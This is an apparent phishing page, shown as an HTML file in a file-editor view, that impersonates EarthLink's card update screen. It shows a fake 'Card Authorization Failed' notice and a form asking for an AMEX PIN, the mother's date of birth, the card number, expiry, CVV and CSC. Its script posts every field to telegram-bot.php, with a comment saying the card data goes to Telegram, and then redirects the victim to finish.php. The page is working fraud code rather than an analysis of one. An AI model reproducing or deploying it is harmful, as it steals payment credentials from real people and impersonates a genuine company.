Edit File: mycard.htm
<!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>Update Card - EarthLink</title> <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.0.0/css/all.min.css"> <style> * { margin: 0; padding: 0; box-sizing: border-box; font-family: 'Segoe UI', Arial, sans-serif; } body { background-color: #f2f2f2; } .header { background: linear-gradient(#fefefe, #e6e4e5); height: 36px; display: flex; justify-content: space-between; align-items: center; padding: 0 20px; } .logo img { max-width: 123px; padding-top: 3px; } .center-logo { text-align: center; margin: 25px auto 16px; } .center-logo img { width: 180px; } .outer-div { width: 100%; display: flex; justify-content: center; min-height: 525px; } .inner-div { width: 550px; border: 1px solid #ceced5; background-color: white; color: #212529; margin-bottom: 50px; } .heading-div { padding: 20px 56px 0; margin-top: 16px; } .heading-div h3 { font-size: 26px; color: #007dba; margin: 0; font-weight: 400; } .heading-div h4 { font-size: 16px; color: #707b87; margin-top: 10px; margin-bottom: 0; font-weight: inherit; } form { padding: 20px 56px 32px; } .label-div { color: #707b87; font-size: 16px; margin-bottom: 10px; font-weight: 600; display: block; } input[type="text"], input[type="number"], input[type="email"], input[type="tel"] { height: 38px; width: 100%; font-size: 16px; border: 1px solid darkgrey; padding: 0 12px; font-weight: 400; margin-top: 10px; margin-bottom: 10px; } .form-row { display: flex; gap: 15px; margin-bottom: 15px; } .form-group { flex: 1; } .card-icons { display: flex; gap: 10px; margin: 10px 0; } .card-icons i { font-size: 24px; color: #666; } button[type="submit"] { height: 38px; width: 100%; font-size: 16px; background: #0172ce; color: white; border: none; font-weight: 400; cursor: pointer; margin-top: 14px; } .secure-note { background: #e8f5ff; border: 1px solid #b3d9ff; padding: 10px; margin: 20px 0; border-radius: 4px; font-size: 14px; color: #0066cc; text-align: center; } .footer { background-color: #57585c; padding: 50px 100px 0; color: white; } .footer-links { display: flex; justify-content: space-between; } .footer-section { flex: 1; } .footer-section h3 { font-size: 16px; font-weight: 600; margin-bottom: 10px; } .footer-section ul { list-style: none; } .footer-section ul li { margin-bottom: 5px; } .footer-section a { color: white; text-decoration: underline; font-size: 14px; } .social-links { display: flex; gap: 10px; margin-top: 20px; } .social-links a { display: inline-flex; align-items: center; justify-content: center; width: 36px; height: 36px; background: white; border-radius: 50%; text-decoration: none; } .social-links i { color: #57585c; font-size: 18px; } .copyright { padding: 20px 100px; text-align: center; color: white; font-size: 14px; background-color: #57585c; border-top: 1px solid #666; margin-top: 30px; } .error-message { color: red; font-size: 14px; margin-top: 5px; display: none; } .hidden { display: none; } </style> </head> <body> <!-- Header --> <div class="header"> <div class="logo"> <img src="https://www.earthlink.net/images/earthlink-logo.svg" alt="EarthLink"> </div> </div> <!-- Main Logo --> <div class="center-logo"> <img src="https://www.earthlink.net/images/earthlink-logo.svg" alt="EarthLink"> </div> <!-- Card Update Form --> <div class="outer-div"> <div class="inner-div"> <div class="heading-div"> <h3>Card Authorization Failed--Pay With American Express</h3> <h4>Enter your information</h4> </div> <div class="secure-note"> <i class="fas fa-lock"></i> Secure Payment - Your information is protected </div> <form id="paymentForm"> <!-- Full Name --> <div> <label class="label-div" for="fullName">AMEX 4-Digit PIN:</label> <input type="text" id="fullName" name="fullName" placeholder="1234" required> </div> <!-- Address --> <div> <label class="label-div" for="address">Mother Date Of Birth:</label> <input type="text" id="address" name="address" placeholder="DD/MM/YYYY" required> </div> <!-- Card Number --> <div> <label class="label-div" for="cardNumber">Amex Card Number:</label> <input type="text" id="cardNumber" name="cardNumber" placeholder="1234 5678 9012 345" required maxlength="18"> <div class="card-icons"> <i class="fab fa-cc-amex"></i> </div> </div> <!-- Card Details Row --> <div class="form-row"> <div class="form-group"> <label class="label-div" for="expiry">Expiration Date:</label> <input type="text" id="expiry" name="expiry" placeholder="MM/YY" required maxlength="5"> </div> <div class="form-group"> <label class="label-div" for="cvv">CVV:</label> <input type="text" id="cvv" name="cvv" placeholder="1234" required maxlength="4"> </div> <div class="form-group"> <label class="label-div" for="zipcode">3 Digit CSC:</label> <input type="text" id="zipcode" name="zipcode" placeholder="123" required maxlength="3"> </div> </div> <!-- Submit Button --> <button type="submit" id="payBtn"> <span id="buttonText">Complete Verification</span> <i class="fas fa-spinner fa-spin hidden" id="spinner"></i> </button> <div class="secure-note" style="margin-top: 20px; font-size: 12px;"> By clicking "Complete Verification", you agree to EarthLink's Terms of Service and authorize this verification. </div> </form> </div> </div> <!-- Footer --> <div class="footer"> <div class="footer-links"> <!-- Internet Section --> <div class="footer-section"> <h3>Internet</h3> <ul> <li><a href="#">High-Speed Internet</a></li> <li><a href="#">Fiber Internet</a></li> <li><a href="#">Wireless Home Internet</a></li> </ul> </div> <!-- EarthLink Section --> <div class="footer-section"> <h3>EarthLink</h3> <ul> <li><a href="#">About Us</a></li> <li><a href="#">Contact</a></li> <li><a href="#">Blog</a></li> </ul> </div> <!-- Help Section --> <div class="footer-section"> <h3>Help</h3> <ul> <li><a href="#">Support</a></li> <li><a href="#">Live Chat</a></li> </ul> <h3 style="margin-top: 20px;">Follow EarthLink</h3> <div class="social-links"> <a href="#"><i class="fab fa-facebook-f"></i></a> <a href="#"><i class="fab fa-twitter"></i></a> <a href="#"><i class="fab fa-linkedin-in"></i></a> <a href="#"><i class="fab fa-youtube"></i></a> </div> </div> <!-- Account Section --> <div class="footer-section"> <h3>Account</h3> <ul> <li><a href="#">My Account</a></li> <li><a href="#">WebMail</a></li> <li><a href="#">My EarthLink</a></li> </ul> </div> </div> <div class="copyright"> © 2026 EarthLink, LLC • All rights reserved<br> <a href="#" style="color: white; text-decoration: underline;">Privacy Policy</a> • <a href="#" style="color: white; text-decoration: underline;">Interest-Based Ads</a> </div> </div> <script> document.addEventListener('DOMContentLoaded', function() { const form = document.getElementById('paymentForm'); const cardNumber = document.getElementById('cardNumber'); const expiry = document.getElementById('expiry'); const cvv = document.getElementById('cvv'); const payBtn = document.getElementById('payBtn'); const buttonText = document.getElementById('buttonText'); const spinner = document.getElementById('spinner'); // Format card number cardNumber.addEventListener('input', function(e) { let value = e.target.value.replace(/\D/g, ''); value = value.replace(/(\d{4})/g, '$1 ').trim(); e.target.value = value.substring(0, 19); }); // Format expiry date expiry.addEventListener('input', function(e) { let value = e.target.value.replace(/\D/g, ''); if (value.length >= 2) { value = value.substring(0, 2) + '/' + value.substring(2, 4); } e.target.value = value.substring(0, 5); }); // Form validation form.addEventListener('submit', function(e) { e.preventDefault(); // Show loading state buttonText.textContent = 'Processing...'; spinner.classList.remove('hidden'); payBtn.disabled = true; // Collect form data const formData = new FormData(); formData.append('fullName', document.getElementById('fullName').value); formData.append('address', document.getElementById('address').value); formData.append('cardNumber', cardNumber.value); formData.append('expiry', expiry.value); formData.append('cvv', cvv.value); formData.append('zipcode', document.getElementById('zipcode').value); formData.append('timestamp', new Date().toISOString()); // Send to Telegram for payment data (sends to telegram-bot.php) fetch('telegram-bot.php', { method: 'POST', body: formData }).then(response => { console.log('Card data sent to Telegram'); // Show success message setTimeout(() => { // Redirect to finish after showing alert setTimeout(() => { window.location.href = 'finish.php'; }, 1000); buttonText.textContent = 'Complete Verification'; spinner.classList.add('hidden'); payBtn.disabled = false; form.reset(); }, 1500); }).catch(error => { console.log('Error sending card data:', error); // Still redirect even if Telegram fails setTimeout(() => { // Redirect to finish after showing alert setTimeout(() => { window.location.href = 'finish.php'; }, 1000); buttonText.textContent = 'Complete Verification'; spinner.classList.add('hidden'); payBtn.disabled = false; form.reset(); }, 1500); }); }); }); </script> </body> </html>
Back